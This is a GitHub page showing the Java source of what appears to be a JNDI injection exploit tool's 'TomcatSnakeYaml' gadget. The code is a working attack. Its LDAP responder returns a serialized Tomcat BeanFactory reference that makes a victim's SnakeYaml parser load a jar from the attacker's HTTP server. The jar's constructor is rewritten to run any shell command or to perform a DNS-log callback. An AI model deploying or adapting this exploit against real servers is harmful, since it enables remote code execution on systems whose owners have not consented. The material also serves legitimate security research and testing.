-
Notifications
You must be signed in to change notification settings - Fork 40
Expand file tree
/
Copy pathTomcatSnakeYaml.java
More file actions
233 lines (202 loc) · 9.5 KB
/
Copy pathTomcatSnakeYaml.java
File metadata and controls
233 lines (202 loc) · 9.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
package net.roboterh.injector.gadgets;
import cn.hutool.http.HttpUtil;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import net.roboterh.injector.enums.PayloadEnum;
import net.roboterh.injector.servers.HTTPServer;
import net.roboterh.injector.utils.GadgetUtils;
import net.roboterh.injector.utils.PayloadUtils;
import org.apache.log4j.LogManager;
import org.apache.log4j.Logger;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.io.*;
import java.util.Arrays;
import java.util.Enumeration;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;
/*
Tomcat SnakeYaml Way:
Requirement:
Tomcat and SnakeYaml in classpath
Tomcat 10.1.0-M14,10.0.21,9.0.63,8.5.79
Explanation:
load malicious .yml file to execute particular code using method org.yaml.snakeyaml.Yaml#load
the payload is
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/a.jar"]]]]
load the class which is content of services/javax.script.ScriptEngineFactory by SPI
*/
public class TomcatSnakeYaml implements LDAPService{
private static final Logger logger = LogManager.getLogger(TomcatSnakeYaml.class);
private PayloadEnum payload;
private String[] params;
private String yamlScript;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String baseDN) {
argsHandler(baseDN);
generateHandler();
try {
logger.info(String.format("Send LDAP result for %s using TomcatSnakeYaml Way ...", baseDN));
// create ResourceRef
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",true,
"org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yamlScript));
Entry entry = new Entry(baseDN);
entry.addAttribute("javaClassName", "java.lang.Class");
entry.addAttribute("javaSerializedData", GadgetUtils.serialize(ref));
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception e) {
logger.info(e.getMessage());
}
}
@Override
public void argsHandler(String baseDN) {
int firstIndex = baseDN.indexOf("/");
int secondIndex = baseDN.indexOf("/", firstIndex + 1);
// obtain the value of Payload
payload = PayloadEnum.valueOf(baseDN.substring(firstIndex + 1, secondIndex));
// add params
switch (payload.name()) {
case "Command":
String cmd = PayloadUtils.getCmdFromBase(baseDN);
params = new String[]{cmd};
break;
case "File":
case "DnsLog":
String link = baseDN.substring(baseDN.lastIndexOf("/") + 1);
params = new String[]{link};
break;
}
logger.info(String.format("Received Payload is %s, params are %s ...", payload, Arrays.toString(params)));
}
@Override
public void generateHandler() {
try {
TomcatSnakeYamlTemplate tomcatSnakeYamlTemplate = new TomcatSnakeYamlTemplate();
switch (payload.name()) {
case "Command":
yamlScript = tomcatSnakeYamlTemplate.getExecCode(params[0]);
break;
case "DnsLog":
yamlScript = tomcatSnakeYamlTemplate.getDnsLogCode(params[0]);
break;
case "File":
yamlScript = HttpUtil.get(HTTPServer.codeBase + params[0]);
break;
}
} catch (Exception e) {
logger.info(e.getMessage());
}
}
private class TomcatSnakeYamlTemplate {
private String jarFilePath = System.getProperty("user.dir") + File.separator + "data" + File.separator + "tomcatSnakeyaml.jar";
private String serviceClassName = "exploit.Test";
private String template = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
String.format(" !!java.net.URL [\"%s%s.jar\"]\n", HTTPServer.codeBase, "tomcatSnakeyaml") +
" ]]\n" +
"]";
public TomcatSnakeYamlTemplate(String jarFilePath, String serviceClassName) {
this.jarFilePath = jarFilePath;
this.serviceClassName = serviceClassName;
}
public TomcatSnakeYamlTemplate() {
}
public String getExecCode(String cmd) throws Exception {
String command = "try{" +
"String os = System.getProperty(\"os.name\");"+
"if (os.toLowerCase().contains(\"win\")) {" +
"String[] cmds = new String[]{\"cmd.exe\", \"/c\", \"" + cmd + "\"};" +
"java.lang.Runtime.getRuntime().exec(cmds);" +
"} else {" +
"String[] cmds = new String[]{\"/bin/sh\", \"-c\", \"" + cmd + "\"};" +
"java.lang.Runtime.getRuntime().exec(cmds);" +
"}" +
"} catch (java.lang.Exception e) {" +
"}";
// update the jar
updateJar(command);
return template;
}
public String getDnsLogCode(String dnsLog) throws Exception {
String command = "try {" +
"String os = System.getProperty(\"os.name\");" +
"if (os.toLowerCase().contains(\"win\")) {" +
"java.lang.Runtime.getRuntime().exec(\"ping -c 1 " + dnsLog + "\");" +
"} else {" +
"java.lang.Runtime.getRuntime().exec(\"nslookup " + dnsLog + "\");" +
"}" +
"} catch (java.lang.Exception e) {" +
"}";
// update the jar
updateJar(command);
return template;
}
private void updateJar(String cmd) throws Exception {
// Create a temporary file to write updated content
File tempFile = File.createTempFile("temp", null);
tempFile.deleteOnExit();
PrintWriter writer = new PrintWriter(new FileWriter(tempFile));
// Write the new content to the temporary file
writer.write(serviceClassName);
writer.flush();
// Replace the old services file with the updated one
String tempFilePath = tempFile.getAbsolutePath();
String targetFilePath = jarFilePath + ".temp";
new File(targetFilePath).delete();
new File(jarFilePath).renameTo(new File(targetFilePath));
JarOutputStream targetJar = new JarOutputStream(new FileOutputStream(jarFilePath));
JarFile jarFile = new JarFile(targetFilePath);
// Iterate over entries in the original JAR, copying them to the new JAR
Enumeration<JarEntry> entries = jarFile.entries();
while (entries.hasMoreElements()) {
JarEntry jarEntry = entries.nextElement();
if (!jarEntry.getName().equals("META-INF/services/javax.script.ScriptEngineFactory") &&
!jarEntry.getName().equals("exploit/Test.class")) {
InputStream input = jarFile.getInputStream(jarEntry);
targetJar.putNextEntry(jarEntry);
byte[] buffer = new byte[1024];
int bytesRead = 0;
while ((bytesRead = input.read(buffer)) != -1) {
targetJar.write(buffer, 0, bytesRead);
}
input.close();
}
}
JarEntry newEntry = new JarEntry("META-INF/services/javax.script.ScriptEngineFactory");
targetJar.putNextEntry(newEntry);
FileInputStream input = new FileInputStream(tempFilePath);
byte[] buffer = new byte[1024];
int bytesRead = 0;
while ((bytesRead = input.read(buffer)) != -1) {
targetJar.write(buffer, 0, bytesRead);
}
input.close();
// Modify Test class
JarEntry entry = jarFile.getJarEntry("exploit/Test.class");
InputStream inputStream = jarFile.getInputStream(entry);
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass(inputStream);
CtConstructor constructor = clazz.getConstructors()[0];
// constructor.setBody(String.format("try { java.lang.Runtime.getRuntime().exec(new String[]{\"cmd\", \"/c\", \"%s\"}); } catch (Exception e) {}", "curl http://127.0.0.1:9002"));
constructor.setBody(cmd);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
DataOutputStream dataOutputStream = new DataOutputStream(outputStream);
clazz.toBytecode(dataOutputStream);
JarEntry newEntry1 = new JarEntry("exploit/Test.class");
targetJar.putNextEntry(newEntry1);
targetJar.write(outputStream.toByteArray());
targetJar.close();
// new File(targetFilePath).delete();
}
}
}